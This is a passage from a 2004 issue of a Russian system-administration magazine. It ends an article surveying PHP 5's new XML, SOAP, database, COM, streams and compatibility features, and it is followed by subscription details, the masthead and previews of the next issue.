XML После изменения объектной модели самым существенным инновациям (на мой взгляд) подверглась работа с XML. В PHP 4 поддержка данных технологий была довольно разнородной, если не сказать бестолковой. Для использования XSTL была необходима библиотека Sablotron, для SAX – Expat и, наконец, для полноценной работы с DOM – библиотека libxml2. Причём в последнем случае имели место многочисленные ошибки, утечки памяти и несоответствие API стандартам W3C (впрочем, это был наименее болезненный пункт). С появлением PHP 5 всё радикально изменилось. Все вышеперечисленные расширения (и два новых, о которых речь пойдёт ниже) теперь основаны на libxml2, расширение DOM полностью соответствует стандартам и поддерживает три вида схем для проверки (валидации XML-документов: DTD, XML Schema и RelaxNG. SAX-расширение можно заставить работать под старой библиотекой Expat для совместимости со старыми приложениями, пересобрав PHP с соответствующей опцией, но в большинстве случаев такие ухищрения не понадобятся (как, собственно, и сам SAX, но это уже моё личное мнение). Особенность работы с XSLT (также основанной на libxml2) теперь состоит в том, что XSL-преобразование не принимает таблицу стилей XSLT в качестве параметра, а зависит от расширения DOM. Таблица стилей теперь может кэшироваться в памяти и применяться ко многим документам без дополнительной загрузки. В общем, подытоживая, можно сказать, что, совсем чуть потеряв, мы получили довольно много, а именно, наконецто стабильно работающую реализацию DOM. Теперь о новинках. Появились два новых XML-расширения – SampleXML и SOAP (Simple Object Access Protocol). Вообще-то каждое из них заслуживает отдельного разговора, но если быть кратким, то первое – это прозрачное представление XML-документа как родного объекта PHP.
92
Что особенно ценно в случае невозможности (в силу ограничений данного расширения) выполнить какие-либо действия, всегда сохраняется шанс, преобразовать объект SampleXML в дерево DOM, выполнить необходимые действия и вернуться обратно, к SampleXML (функции dom_import_ () и simplexml _import_ dom () соответственно). Оба расширения реализованы в одной библиотеке, и переключения между ними теперь, по крайней мере, безболезненны. Поддержка SOAP в PHP 4 осуществлялась при помощи соответствующего пакета из PEAR и была недостаточно полноценна. В PHP 5 реализация SOAP была полностью переписана, как С-расширение, и теперь практически соответствует стандарту. Помню, несколько лет назад разворачивались довольно оживлённые дискуссии о самой возможности работать с веб-сервисами посредством PHP. С тех пор появилось несколько реализаций SOAP, таких как PEAR::SOAP (http:// pear.php.net), NuSOAP (http://dietrich.ganx4.com/nusoap) и eZ SOAP (http://ez.no). Все они были написаны на PHP, и самым важным преимуществом нового расширения, по-видимому, следует считать скорость работы. Кроме того, в расширении SOAP почти полностью реализованы спецификации SOAP 1.1 и SOAP 1.2, в частности поддержка комплексных типов данных и SOAP-заголовков. А также WSDL 1.1, на котором хотелось бы остановиться особо. Сама реализация SOAP в этом расширении диктует использовать WSDL (Web Services Description Language) там, где это возможно. Причём для увеличения скорости работы WSDL-файл кэшируется, и параметры кэширования настраиваются в конфигурационном файле php.ini. Преимущества WSDL-стиля поясню на примере. Так выглядит простейший SOAP-клиент, написанный без применения WSDL: $client = new SoapClient(null, array( 'location' => "http://localhost/soap.php", 'uri' => "http://test-uri/", 'style' => SOAP_DOCUMENT, 'use' => SOAP_LITERAL));
А так – тот же самый клиент, переписанный с использованием WSDL: $client = new SoapClient("some.wsdl");
При вызове методов различий в реализации гораздо больше. Так как отпадает необходимость указания не только URI-сервера, но и пространства имен, заголовка SOAP Action, способа кодирования и типов параметров. Вся эта информация берется из WSDL-документа. Единственной проблемой остаётся получение клиентом WSDL-файла с сервера, но она решается за счёт вышеупомянутого механизма кэширования. Тут, наверное, следует остановиться, поскольку это довольно большая и серьёзная тема и хоть как-нибудь развернуть её в нескольких абзацах не представляется возможным. Заинтересовавшихся отсылаю к статье Дмитрия Стогова, одного из авторов SOAP-расширения PHP, «Практическое использование SOAP в PHP 5» (http://www.zend.com/php5/ articles/php5-SOAP.php).
программирование Базы данных
COM
Так уж сложилось, что наиболее «php-совместимым» сервером баз данных является СУБД MySQL. Эта связка была поставлена под угрозу зимой 2004 года, когда MySQL AB изменила лицензию своего продукта, основанного на GPL. Если не вдаваться в юридические тонкости, можно просто сказать, что клиентская библиотека MySQL по умолчанию в PHP больше не присутствовала. Её, конечно, можно было установить, но предварительно тщательно ознакомившись с лицензией. Честно говоря, в среде PHP-программистов это известие вызвало некоторый шок (и это несмотря на то, что связка PHP 4.x и MySql 3.x оставалась вполне легитимной). Часть разработчиков устремилась в сторону PostgreSQL, а часть просто обратила внимание на появившееся уже в версии 4.3x новое расширение MySQLite. Была ещё одна причина заинтересоваться этой библиотекой. Периодически на форумах разработчиков поднимается вопрос – можно ли написать веб-приложение, «управляемое данными», без использования сервера баз данных. Вообще мне всегда казалось, что эта экономия (ну, разумеется, на хостинге) совершенно неуместна, но вот встроенная библиотека SQLite, пожалуй, добавляет плюсов подобному подходу. Во всяком случае средство работы с данными (как бы удачней этот софт назвать?), поддерживающее такие возможности, как транзакции, вложенные запросы и представления, по крайней мере заслуживает интереса. А что же с MySQL? В общем, юридические проблемы благополучно разрешились. Товарищи из MySQL AB, похоже, опомнились, и теперь ограничения на клиентскую библиотеку снято (вообще понять их можно, популярность MySQL во многом была основана на широком распространении PHP). Более того, введено новое расширение, mysqli (Improved MySQL Extenrsion), поддерживающее новые возможности MySQL, появившиеся в версии 4.1 и выше, такие как транзакции, репликация и т. д. (правда, стоит оговориться, что многие из них ещё не реализованы).
Как известно, в PHP 4 (а точнее немного раньше) в языке появилась поддержка COM-технологии. На практике это означало возможность работы с любыми объектами, имеющими COM-интерфейс, в том числе и с приложениями Microsoft Office (что особо ценно, когда твои отчёты требуются бухгалтерии или шефу). Правда, данная реализация имела существенные неудобства, связанные с недостатками объектной модели РНР 4, которая накладывала ограничения и на сами скрипты, и на использование СОМ-расширений. В пятой версии все, что связано с работой COM-расширений, было полностью переписано (причём такие, несколько несвойственные идеологии COM-модели функции, как com_addref(), com_release(), com_get(), com_set(), com_ isenum() и com_load() попросту ликвидированы, что, строго говоря, порождает некоторые проблемы обратной совместимости). Добавлено много возможностей, из которых наиболее полезными (лично мне), представляются следующие: ! Обработка исключительных ситуаций (в PHP 4, внутри COM-кода это было невозможно). Она осуществляется с помощью класса com_exception, который является расширением базового класса обработки исключений exception, предоставляемого РНР, и включает все его методы. ! Для перебора теперь доступна функция foreach(), тем, кто имел опыт работы с COM посредством PHP, поймут всё удобство этого новшества. ! Тип variant, наконец, обрёл нормальный, работоспособный вид, впрочем, об этом тоже можно довольно много говорить. ! Модель OO в PHP 5 позволяет РНР-препроцессору самостоятельно получать от COM-объекта информацию о методе, который будет вызван.
Прочее Автозагрузка Как известно, работая с PHP, приходится мириться с тем фактом, что препроцессор не держит приложение в памяти целиком, а подгружает все файлы при обращении к каждой странице. При использовании какого-нибудь популярного движка совершенно очевидна избыточность получаемого кода, но настройка подключения только необходимых классов или файлов – довольно кропотливое и неблагодарное занятие. В PHP 5 эта проблема решена с помощью функции-события _autoload(). Суть её работы в следующем: при обращении к неизвестному классу или интерфейсу автоматически подгружается файл, содержащий их описание. Данная функция также снимает проблему включения файлов в порядке иерархии наследования. Надо сказать, что реализация автозагрузки на настоящий момент вызывает много нареканий, но останавливаться на них не буду, поскольку, скорее всего, к моменту выхода статьи большинство обнаруженных ошибок будут исправлены.
№9(22), сентябрь 2004
.Net В РНР 5 встроена поддержка .Net. Точнее, есть возможность работать с экземплярами объектов, определенных в .Net через взаимодействия с COM-оберткой. То есть можно считать, что PHP «видит» объекты .Net так, как если бы они были объектами COM, что даёт разработчику доступ к библиотеке .Net-классов.
Standard PHP Library (SPL) SPL, по сути, является средством расширяемости Zend Engine, это альтернативное расширение для Zend Engine 2, которое определяет стандартный набор интерфейсов. Ваш объект использует интерфейс из SPL, и, когда осуществляется доступ к объекту через встроенные конструкции PHP, вызываются различные методы, определённые интерфейсом. Данная возможность основана на новых внутренних свойствах Zend Engine 2, позволяющих создавать собственные и перезаписывать существующие машинные коды (то есть opcodes – наборы инструкций, в которые компилируется PHP-скрипт). На мой взгляд, SPL – самая спорная по полезности возможность PHP 5, так как сильно затрудняет работу с вашим кодом других разработчиков.
93
программирование Новый API потоков Понятие потоков (streams) появилось в PHP, начиная с версии 4.3.0. Этот механизм дал возможность абстрагированно работать с файлами, сетевыми ресурсами и архивами, предоставляя единый интерфейс доступа. В пятой версии препроцессора возможности работы с потоками значительно расширены, в частности, доступны низкоуровневые операции с сокетами, работа с сокет-сервером. Пример работы с сокетами из документации: <?php $socket = stream_socket_server("tcp://0.0.0.0:8000", ↵ $errno, $errstr); if (!$socket) { echo "$errstr ($errno)<br />\n"; } else { while ($conn = stream_socket_accept($socket)) { fwrite($conn, 'The local time is ' . date('n/j/Y g:i ↵ a') . "\n"); fclose($conn); } fclose($socket); } ?>
Честно говоря, такие возможности мне лично использовать не приходилось, но само их наличие впечатляет.
Perl Благодаря новому расширению для работы с Perl (не включённому по умолчанию), в PHP 5 теперь возможно прямо из PHP-кода вызывать Perl-скрипты и работать с объектами Perl.
Tidy В PHP 5 включена поддержка библиотеки Tidy (http:// tidy.sf.net/), позволяющей разработчикам разбирать, проверять синтаксис и восстанавливать документы HTML. Используется как функциональный, так и объектно-ориентированный интерфейс, а также механизм исключений РНР 5.
Уровень сообщений об ошибках Новый уровень сообщений об ошибках E_STRICT включает вывод сообщений об использовании в коде устаревших (с точки зрения PHP 5) методов программирования. Он не входит в уровень E_ALL, поэтому рекомендуемый уровень выглядит так: E_ALL | E_STRICT.
Новый менеджер памяти Главными преимуществами менеджера памяти Zend Engine II являются улучшенная поддержка многопоточных сред и гораздо более эффективное освобождение распределённых блоков памяти после каждого запроса. С полным списком нововведений можно ознакомиться на сайте компании Zend Technologies, по адресу http:// www.zend.com/php5/whats-new.php.
Ложка дёгтя При выходе любой новой версии, того или иного продукта, неизбежно возникает проблема обратной совместимости. Сразу встаёт вопрос разумной грани между полной обратной совместимостью и добавлением новых, где-то даже революционных возможностей. Мне кажется, что разработчики PHP благополучно преодолели эти грабли, впрочем, судите сами.
94
Во-первых, данные проблемы будут касаться программ, опирающихся на старые механизмы реализации классов. Выхода тут два: переписать код, используя вышеупомянутый метод __clone(), или в конфигурационном файле php.ini включить параметр ze2.implicit_clone, приказав объектам вести себя по привычной для PHP 4 схеме, вместе с тем оставляя возможность использовать свойства PHP 5, такие как унифицированные конструкторы, пространства имён, исключения, и т. д. Правда, последнее больше похоже на капитуляцию, но при наличии уже существующих достаточно объёмных и сложных проектов этот выход довольно разумен. При работе с объектами необходимо также учитывать то обстоятельство, что свойства объекта должны быть предопределены, то есть нижеприведённый код работать не будет: <?php class Container { } $c = &new Container; $c->name = "Sterling"; echo $c->name; ?>
Следующая по значимости проблема связана с новыми правилами работы с XML, дело тут не в изменении используемых библиотек, а в том, что названия функций API были приведены в соответствие со стандартами W3C. Шаг болезненный но, по-видимому, необходимый. Для разработчика нет другого пути, как переименовать функции в старой программе (благо с точки зрения функциональности ничего не изменилось). Что ещё? Теперь зарезервированными являются следующие слова: try, catch, throw, exception, public, private, protected, abstract, interface, final. Кроме того, при объявлении класса к ним добавляются __call, __get, __set, __clone, __construct, __destruct. Правда, я с трудом представляю программиста, который использует подобные имена для констант или переменных, но тем не менее. И наконец, самая фатальная потеря. Больше не поддерживается операционная система Windows 95. Не поддерживается, потому что не способна (по заявлению разработчиков) реализовать новые возможности языка. Мне кажется, что это известие поселит траур в душах большинства PHP-программистов.
Резюме С моей точки зрения, вопрос, обновлять или не обновлять PHP, не стоит. Практически ничего не теряя, мы обретаем впечатляющие новые возможности. Другой вопрос в том, что эти самые возможности диктуют по крайней мере несколько иной стиль программирования. Разумеется, многие преимущества пятой версии можно использовать и без этого, но, несмотря на заявления основателей Zend и самого Расмуса Лердорфа, очевидно, что идеология языка существенно изменилась. Мне кажется, что это ни хорошо и ни плохо, это просто было неизбежно.
подписка на I полугодие 2005 Российская Федерация ! Подписной индекс: 81655 !
!
!
Каталог агентства «Роспечать» Подписной индекс: 87836 Объединенный каталог «Пресса России» Адресный каталог «Подписка за рабочим столом» Адресный каталог «Библиотечный каталог» Альтернативные подписные агентства: Агентство «Интер-Почта» (095) 500-00-60, курьерская доставка по Москве Агентство «Вся Пресса» (095) 787-34-47 Агентство «Курьер-Прессервис» Подписка On-line http://www.arzy.ru http://www.gazety.ru http://www.presscafe.ru
! Узбекистан – по каталогу «Davriy nashrlar» российские
! !
! !
СНГ В странах СНГ подписка принимается в почтовых отделениях по национальным каталогам или по списку номенклатуры АРЗИ: ! Казахстан – по каталогу «Российская Пресса» через ОАО «Казпочта» и ЗАО «Евразия пресс» ! Беларусь – по каталогу изданий стран СНГ через РГО «Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10)
!
издания через агентство по распространению печати «Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик, 5/3, офис 33) Азербайджан – по объединенному каталогу российских изданий через предприятие по распространению печати «Гасид» (370102, г. Баку, ул. Джавадхана, 21) Армения – по списку номенклатуры «АРЗИ» через ГЗАО «Армпечать» (375005, г.Ереван, пл.Сасунци Давида, д.2) и ЗАО «Контакт-Мамул» (375002, г. Ереван, ул.Сарьяна, 22) Грузия – по списку номенклатуры «АРЗИ» через АО «Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская, 29) и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахурдия, 42) Молдавия – по каталогу через ГП «Пошта Молдавей» (МД-2012, г.Кишинев, бул.Штефан чел Маре, 134) по списку через ГУП «Почта Приднестровья» (МD-3300, г.Тирасполь, ул.Ленина, 17) по прайслисту через ООО Агентство «Editil Periodice» (2012, г.Кишинев, бул. Штефан чел Маре, 134) Подписка для Украины: Киевский главпочтамп Подписное агентство «KSS» Телефон/факс (044)464-0220
Подписные индексы:
81655 по каталогу агентства «Роспечать»
87836 по каталогу агентства «Пресса России»
№9(22), сентябрь 2004
95
СИСТЕМНЫЙ АДМИНИСТРАТОР №9(22), Сентябрь, 2004 год РЕДАКЦИЯ Исполнительный директор Владимир Положевец Ответственный секретарь Наталья Хвостова sekretar@samag.ru Технический редактор Владимир Лукин Редактор Андрей Бешков РЕКЛАМНАЯ СЛУЖБА тел./факс: (095) 928-8253 Константин Меделян reсlama@samag.ru Верстка и оформление imposer@samag.ru maker_up@samag.ru Дизайн обложки Николай Петрочук 103045, г. Москва, Ананьевский переулок, дом 4/2 стр. 1 тел./факс: (095) 928-8253 Е-mail: info@samag.ru Internet: www.samag.ru РУКОВОДИТЕЛЬ ПРОЕКТА Петр Положевец УЧРЕДИТЕЛИ Владимир Положевец Александр Михалев ИЗДАТЕЛЬ ЗАО «Издательский дом «Учительская газета» Отпечатано типографией ГП «Московская Типография №13» Тираж 7000 экз. Журнал зарегистрирован в Министерстве РФ по делам печати, телерадиовещания и средств массовых коммуникаций (свидетельство ПИ № 77-12542 от 24 апреля 2002г.) За содержание статьи ответственность несет автор. За содержание рекламного обьявления ответственность несет рекламодатель. Все права на опубликованные материалы защищены. Редакция оставляет за собой право изменять содержание следующих номеров.
96
ЧИТАЙТЕ В СЛЕДУЮЩЕМ НОМЕРЕ: Установка и настройка W2K Server – Step-by-Step Данная статья – попытка автора систематизировать свой опыт по установке и настройке Windows 2000/2003 Server для начинающих технических специалистов. Она не претендует на полноту и абсолютную однозначность методов, а предназначена исключительно для предоставления начального опыта по настройке серверных систем на основе Windows 2000/2003 Server по принципу пошаговой инструкции.
Знакомство с Cooperative Linux 25-27 января 2004 года новостные ленты большинства информационных изданий, так или иначе посвященных компьютерной тематике, пестрили такими сообщениями: «Linux теперь можно запускать в Windows», «Linux и Windows без перезагрузок», «Революционное изобретение 21-летнего гения» и т. д. Мир узнал о новом проекте – Cooperative Linux (сокращенно coLinux). В анонсах сообщалось о том, что те-
перь появился еще один способ «подружить» две самые популярные операционные системы – Linux и Windows. Для достижения поставленной цели разработчики использовали довольно интересное решение – запуск Linuxядра как отдельного процесса Windows. Последняя доступная на момент написания статьи stable-версия coLinux – 0.6.1, именно о ней и пойдет речь в данной статье.
STAT – совсем другая IDS Сегодня основную нагрузку по защите сетей принимают на себя firewall и приложения уровня домена, предназначенные для подтверждения подлинности пользователей. Несмотря на то что эти приложения в основном справляются со своей задачей, они не могут полностью решить все проблемы по защите сетей и отдельных хостов. И как следствие, на помощь приходят системы обнаружения атак (СОА или Intrusion detection systems – IDS). В статье речь пойдет о проекте State Transition Analysis Technique (STAT).
Вы можете приобретать журналы в магазинах и торговых точках г. Москвы по адресам: ! ! ! ! ! !
Магазин «Компьютерная и деловая книга» (Ленинский проспект, строение 38) Дом технической книги (Ленинский проспект, 40) Московский дом книги (Улица Новый Арбат, 8) Выставочный компьютерный центр «Савеловский» (Киоск у главного входа) Выставочный компьютерный центр «Буденовский» Книжная ярмарка в СК «Олимпийский» (Нижний этаж, место 70А) График работы: с 9-00 до 14-00 ежедневно, кроме пн. и вскр. ! Книжная ярмарка «Центральная». Mагазин «Деловая и учебная литература» (м. Тульская, Варшавское шоссе, д.9. эт. 5, павильон 515-09). ! ТЦ «Электроника на Пресне». Mагазин «Техкнига» (павильон 8-9). ! Редакция «Учительская газета» (Ананьевский переулок, д. 4/2, стр. 1).
On-line магазины: ! www.linuxshop.ru ! www.linuxcenter.ru ! www.bolero.ru
ОТКРЫТА ПОДПИСКА на первое полугодие 2005 года